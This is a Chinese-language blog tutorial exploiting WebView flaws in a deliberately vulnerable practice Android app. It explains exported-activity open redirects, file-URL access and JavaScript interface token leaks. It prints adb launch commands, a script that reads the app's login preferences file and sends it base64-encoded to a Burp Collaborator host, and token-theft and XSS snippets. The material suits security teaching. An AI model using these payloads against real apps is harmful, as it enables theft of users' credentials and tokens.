利用Android WebView漏洞
0x00 说明
测试程序来源:
https://github.com/t4kemyh4nd/vulnwebview
可以直接下载app.apk进行测试
下载安装后打开长下面的样子,Username:vuln Password:webview
需要登录一下
0x01 Android WebView说明
WebView是Android类的扩展,允许将网页显示在Activity页面布局中,但是没有所有的Web浏览器的功能,如导航栏或者地址栏。默认只显示一个网页。
0x02 导出的WebView
利用导出的WebView,可以进行WebView劫持,常见的就是开放重定向漏洞,利用条件webview所在的Activity需要是导出的
如何判断导出,有两种方式:
- 显示的声明android:exported=”true”
- 使用intent filters并且没有显示的声明android:exported=”false”
RegistrationWebView是显示导出的,MainActivity是intent filters导出的。
分析受害者代码:
RegistrationWebView
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| package com.tmh.vulnwebview;
import android.os.Bundle; import android.util.Log; import android.webkit.ConsoleMessage; import android.webkit.WebChromeClient; import android.webkit.WebView; import android.webkit.WebViewClient; import androidx.appcompat.app.AppCompatActivity;
/* loaded from: classes.dex */ public class RegistrationWebView extends AppCompatActivity { /* JADX INFO: Access modifiers changed from: protected */ @Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_registration_web_view); setTitle("Registration page"); loadWebView(); }
private void loadWebView() { WebView webView = (WebView) findViewById(R.id.webview); webView.setWebChromeClient(new WebChromeClient() { // from class: com.tmh.vulnwebview.RegistrationWebView.1 @Override // android.webkit.WebChromeClient public boolean onConsoleMessage(ConsoleMessage consoleMessage) { Log.d("MyApplication", consoleMessage.message() + " -- From line " + consoleMessage.lineNumber() + " of " + consoleMessage.sourceId()); return true; } }); webView.setWebViewClient(new WebViewClient()); webView.getSettings().setAllowUniversalAccessFromFileURLs(true); webView.getSettings().setJavaScriptEnabled(true); if (getIntent().getExtras().getBoolean("is_reg", false)) { webView.loadUrl("file:///android_asset/registration.html"); } else { webView.loadUrl(getIntent().getStringExtra("reg_url")); } } }
|
可以看到loadWebView方法获取传输过来的reg_url参数的值,直接在webview中加载,上面代码没有任何过滤可以直接用于开放重定向。
利用:
可以使用adb进行利用,传输参数打开恶意网页。
概念利用命令
1
| adb shell am start -n componentname --es string "domain.com"
|
实际利用命令
1
| adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url "https://attack.com"
|
1 2
| λ adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url "https://www.baidu.com" Starting: Intent { cmp=com.tmh.vulnwebview/.RegistrationWebView (has extras) }
|
注意:上述方法仅在直接导出组件时才有效,不适用Intent filters导出的组件。
0x03 WebView启用setAllowUniversalAccessFromFileURLs
开启setAllowUniversalAccessFromFileURLs(可以访问文件),配合开启setJavaScriptEnabled(可以运行js脚本)选项,在加上导出的WebView,可以导致攻击者读取任意文件漏洞。
分析代码:
上面代码已经开启了选项
利用:
尝试读取本地文件存储的登录信息。使用Burp Collaborator client接收登录信息
susafu.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <script> var url='file:///data/data/com.tmh.vulnwebview/shared_prefs/MainActivity.xml'//本地文件路径 function load(url){ var xhr=new XMLHttpRequest(); xhr.onreadystatechange = function(){ if(xhr.readyState === 4){ fetch('https://bjyuns1ez806dh912ethipox4oafy4.burpcollaborator.net/?exfiltrated='+btoa(xhr.responseText));//发送 b64 encoded文件给攻击者 } } xhr.open('GET',url,true); xhr.send(''); } load(url) </script>
|
用adb把sauafu.html移动到sd卡中
1 2
| λ adb push sauafu.html /sdcard/ sauafu.html: 1 file pushed, 0 skipped. 1.0 MB/s (467 bytes in 0.000s)
|
尝试运行利用命令
1 2
| λ adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url "file:///sdcard/sauafu.html" Starting: Intent { cmp=com.tmh.vulnwebview/.RegistrationWebView (has extras) }
|
执行成功后会打开一个空页面,然后查看burp中接收的信息
然后burp collaborator成功收到请求,解密后就是登录信息
0x04 WebView启用JavaScript选项
开发可以使用以下配置启用javascript
1
| webView.getSettings().setJavaScriptEnabled(true);
|
添加下面配置会在网页的java script脚本和应用程序的客户端java代码之间创建接口。即,网页的javascript脚本可以访问原生的java代码并将代码注入到程序中。
1
| webView.addJavascriptInterface(new WebAppInterface(this), "Android");
|
如果当前的Activity是导出的并允许攻击者执行攻击,可能导致XSS和token盗取。
受害代码:
SupportWebView
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| package com.tmh.vulnwebview;
import android.os.Bundle; import android.webkit.WebChromeClient; import android.webkit.WebView; import android.webkit.WebViewClient; import androidx.appcompat.app.AppCompatActivity; import java.util.HashMap; import java.util.Map; import java.util.UUID;
/* loaded from: classes.dex */ public class SupportWebView extends AppCompatActivity { /* JADX INFO: Access modifiers changed from: protected */ @Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_support_web_view); setTitle("Support"); loadWebView(); }
public void loadWebView() { WebView webView = (WebView) findViewById(R.id.webview2); webView.setWebChromeClient(new WebChromeClient()); webView.setWebViewClient(new WebViewClient()); webView.getSettings().setJavaScriptEnabled(true); Map<String, String> extraHeaders = new HashMap<>(); extraHeaders.put("Authorization", getUserToken()); webView.addJavascriptInterface(new WebAppInterface(this), "Android"); webView.loadUrl(getIntent().getStringExtra("support_url"), extraHeaders); }
public static String getUserToken() { String uuid = UUID.randomUUID().toString(); return uuid; } }
|
上面代码可以看到已经启用javascript,还有定义的接口声明Android
WebAppInterface
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package com.tmh.vulnwebview;
import android.content.Context; import android.webkit.JavascriptInterface;
/* loaded from: classes.dex */ public class WebAppInterface { Context mContext;
/* JADX INFO: Access modifiers changed from: package-private */ public WebAppInterface(Context c) { this.mContext = c; }
@JavascriptInterface public String getUserToken() { return SupportWebView.getUserToken(); } }
|
接口的内容是获取usertoken
攻击代码:
token.html
1 2 3
| <script type="text/javascript"> document.write("token:"+Android.getUserToken()); </script>
|
以上脚本是从Android接口调用getUserToken方法并写入token
本地启动web服务
1
| python3 -m http.server 8888
|
可以使用下面链接访问token.html
http://192.168.1.4:8888/token.html
攻击命令:
1
| adb shell am start -n com.tmh.vulnwebview/.SupportWebView --es support_url "http://192.168.1.4:8888/token.html"
|
上面造成token获取
也可以进行xss攻击
1 2 3
| <script type="text/javascript"> alert("kal") </script>
|
LINK
利用 Android WebView 漏洞
Author:
tea9
Permalink:
http://tea9.github.io/post/2112214829.html
License:
Copyright (c) 2017-2025 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY?